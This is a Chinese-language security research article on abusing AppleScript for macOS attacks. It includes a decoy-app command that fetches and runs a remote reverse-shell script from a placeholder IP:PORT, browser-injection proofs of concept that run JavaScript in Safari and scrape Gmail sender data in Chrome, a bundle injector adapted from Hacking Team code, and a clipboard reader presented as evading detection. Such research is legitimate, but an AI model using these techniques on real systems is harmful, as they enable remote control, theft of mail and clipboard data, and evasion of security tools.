作者:redrain
原文鏈接:http://noahblog.#/applescript_attack/
背景
在惡意網絡活動研究領域,針對個人終端的攻擊Windows總是獨占鰲頭,但近年來MacOS的終端數上漲,讓很多攻擊團伙也開始聚焦針對MacOS的惡意軟件利用,但即便針對MacOS的攻擊,對手也傾向使用python/shell類腳本,惡意文檔擴展一類的控制方案或入口利用。而AppleScript這一MacOS的內置腳本語言至今已沿用接近27年,卻在安全研究領域鮮有人提及。我們在日常的研究工作中對基于AppleScript的惡意軟件利用技術進行了適當總結和狩獵回顧,并提出一個依托AppleScript獨有特性的攻擊方法。
AppleScript特點
AppleScript是MacOS的特有腳本語言,甚至在iOS或者iPadOS上都不能使用,且作為一門腳本語言AppleScript花里胡哨的"自然語言"古怪設計思路也常被開發者詬病,AppleScript試圖以humanized的方式書寫但又強硬規定了語法,導致代碼及其冗長且背離自然語言書寫思路。
如在當前目錄下創建文件test,AppleScript基礎語法書寫應為:
tell application "Finder"
set selection to make new file at (get insertion location) with properties {name:"test"}
end tell

此外,由于AppleScript底層需要通過事件管理器(Apple Event Manager)進行構造和發送Apple事件,他的執行效率也極低,所以在實際場景中無論是用戶還是管理員,都極少使用AppleScript。
從AppleScript調用Apple Event Manager能看出來,其核心是為了進行MacOS之間應用通信和自動化工作,所以通過0用戶交互進行應用通信成為AppleScript的最大特點,只要腳本語言中設置好節點內容,可以再無人工參與的情況下進行任何MacOS下的基本操作和圖形交互。
自動化應用通信加上用戶免交互,二者疊加可以說是為攻擊者提供了天然的魚叉投遞和后滲透土壤,沒有任何"漏洞利用"能比"合法"使用任意流行應用進行無受害者參與的攻擊路徑更有效,所以雖然AppleScript在開發者,用戶側并不受待見,但在攻擊側,通過合理使用AppleScript往往能無往不利,而且不幸的是,Apple對于AppleScript安全的態度也很疲軟。
AppleScript Malware的常規利用
文件偽造
由于AppleScript可以進行應用通信且無感的特性,通過Script Editor導出生成要執行的惡意AppleScript為應用文件,配合適當的icon和Unicode欺騙即可起到很好的誘餌投遞效果。
do shell script "s=IP:PORT; curl -s $s/real.png | open -f -a Preview.app & curl -s $s/revscript | bash -"
AppleScript通過請求遠端真實圖片內容,用preview加載圖片顯示,達到正常的MacOS下圖片預覽效果的同時執行遠端反彈腳本。

由于生成文件本質是應用文件,所以會在dock欄中顯示圖標,在app的info.plist中聲明NSUIElement隱藏即可:
<key>NSUIElement</key>
<string>1</string>
瀏覽器注入
在2016年發現與神童lokihardt撞洞的CVE-2017-2361挖掘過程中,發現Webkit跳轉調用HelpViewer支持執行AppleScript,在該場景中可實現通過瀏覽器入口觸發js代碼執行任意AppleScript,后官方修復HelpViewer的Handler "x-help-script"和跳轉xss問題,但依舊保留了通過Apple Events調用JavaScript的特性,故當AppleScript應用投入成功后,可對任何支持Apple Events的瀏覽器(如Safari,Chrome)進行"合法"注入。
Injection PoC for Safari:
tell application "Safari"
set list_of_windows to every window # get every open window
repeat with a_window in list_of_windows # iterate through all open windows
set tab_list to every tab in a_window # grab all tabs
repeat with aim_tab in tab_list
set aim_url to the URL of aim_tab
if "http://noahblog.#" is in aim_url then
do JavaScript "alert(1);" in aim_tab
end if
end repeat
end repeat
end tell

由于AppleScript的"自然語言"設計思路,使得很多需要監控鍵鼠和窗口聚焦的交互問題可以通過代碼很好解決,在實際利用中,進行合理場景優化完全可以做到0感知注入效果,此處以盜取Gmail郵件為例。
Steal Gmail PoC for Chrome:
tell application "Google Chrome"
set list_of_windows to every window
repeat with a_window in list_of_windows
set tab_list to every tab in a_window
repeat with aim_tab in tab_list
set aim_url to the URL of aim_tab
if "https://mail.google.com/" is in aim_url then
repeat while aim_tab's id is equal to a_window's active tab's id
delay 3
end repeat # 等待用戶移開標簽頁焦點
set output to execute aim_tab javascript "function payload(){for(var e={},t=document.querySelectorAll(\"td.yX.xY\"),l=0;l<t.length;l++){var n=t[l].textContent,r=t[l].lastElementChild.firstElementChild.getAttribute(\"email\"),a=t[l].lastElementChild.firstElementChild.getAttribute(\"name\");e[l]={Email_Address:r,Sender_Name:a,Subject:n}}alert(JSON.stringify(e[0]));}payload();;"
return output
end if
end repeat
end repeat
end tell

Bundle Injection
早在2015年意大利網絡軍火商HackingTeam被攻擊的泄露資料中,我們就發現其RCS就積極使用該技術,通過AppleScript加載目標并進行bundle注入。

查看其plist可知通過AppleScript注入的入口:


參考HackingTeam RCS源碼,很容易寫出Injector PoC:
#import <Foundation/Foundation.h>
#import <Carbon/Carbon.h>
#import <ScriptingBridge/ScriptingBridge.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc != 2)
{
printf(“injector pid\n”);
return 1;
}
TEST *test = [[TEST alloc] init];
pid_t pid = atoi(argv[1]);
SBApplication* sbApp = [SBApplication applicationWithProcessIdentifier:pid];
[sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
[sbApp sendEvent:kASAppleScriptSuite id:kGetAEUT parameters:0];
// Injecting
[sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
id injectReply = [sbApp sendEvent:‘OPNe’ id:‘open’ parameters:0];
if (injectReply != nil) {
NSLog(@“unexpected injectReply: %@“, injectReply);
}
[[NSProcessInfo processInfo]disableSuddenTermination];
}
return 0;
}
通過AppleScript Hook進行檢測對抗
AppleScript提供了非常多樣化的執行方式,這里進行總結:
- 執行scpt工程原文件
- 執行編譯后的Application文件
- 通過Mail.app的郵件規則直接執行AppleScript腳本
- 通過osascript編譯器執行
- 無文件內存執行
- 通過Automator自動操作服務執行
- 通過目錄行為綁定執行
- 通過Finder服務執行
- 通過Calendar事件執行



多樣化的執行方式給攻擊手段和入口提供了不同的可能性,但最終的執行都將回歸于osascript編譯,然后通過Apple Event Manager構造發送Apple事件。
大部分在MacOS上活躍的惡意軟件均為Object-C或一些腳本語言編寫,若使用第三方安全軟件如知名安全團隊Object-See旗下的ProcessMonitor,FileMonitor,KnockKnock等產品,都能非常輕易的捕獲常見的惡意行為,原因是自從Catalina更新后,Apple要求所有安全供應商和開發者都接入EndpointSecurity和SystemExtensions框架,棄用內核擴展改用系統擴展意味著代碼將在用戶空間中運行,而檢測點也意味著更容易被安全產品捕捉,例如通過Apple Events的事件性行為,由于AppleScript基于Apple Event Manager,這也意味著常規的AppleScript寫法都會被檢測。
然而,AppleScript可以直接混用代碼達到無Apple Events執行的效果,尤其在Yosemite之后AppleScript訪問原生Cocoa API的權限更大, 繞過安全框架對Apple Events的檢測則非常容易。
以下給出由objc為例的記錄剪貼板PoC:
use AppleScript version "2.4"
use scripting additions
use framework "Foundation"
use framework "Appkit"
property NSString : a reference to current application's NSString
property NSArry : a reference to current application's NSArray
property NSPasteboardTypeString : a reference to current application's NSPasteboardTypeString
property NSFileManage : a reference to current application's NSFileManager
property NSPasteboard : a reference to current application's NSPasteboard
set aList to {}
set fileManager to NSFileManager's defaultManager()
set pdGen to NSPasteboard's generalPasteboard()
set pdItems to pdGen's pasteboardItems()
set str to pdGen's stringForType:NSPasteboardTypeString
該思路最好的地方在于繞過檢測的同時完成了無文件執行,換句話說,通過AppleScript Hook住原生Cocoa框架,我們無需編譯創建MachO bin(常規編譯)或者MachO app(生成app),從而在代碼側直接執行達到無文件落地的目的,而且由于MacOS的特殊性,機器環境所支持的語言非常多,除objc外,python,shell,原生MacOS bundle都可以提供不錯的執行條件。
Reference
https://github.com/hackedteam/core-macos/blob/master/core/RCSMCore.m
https://attack.mitre.org/techniques/T1155/
https://objective-see.com/blog.html#blogEntry6
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1722/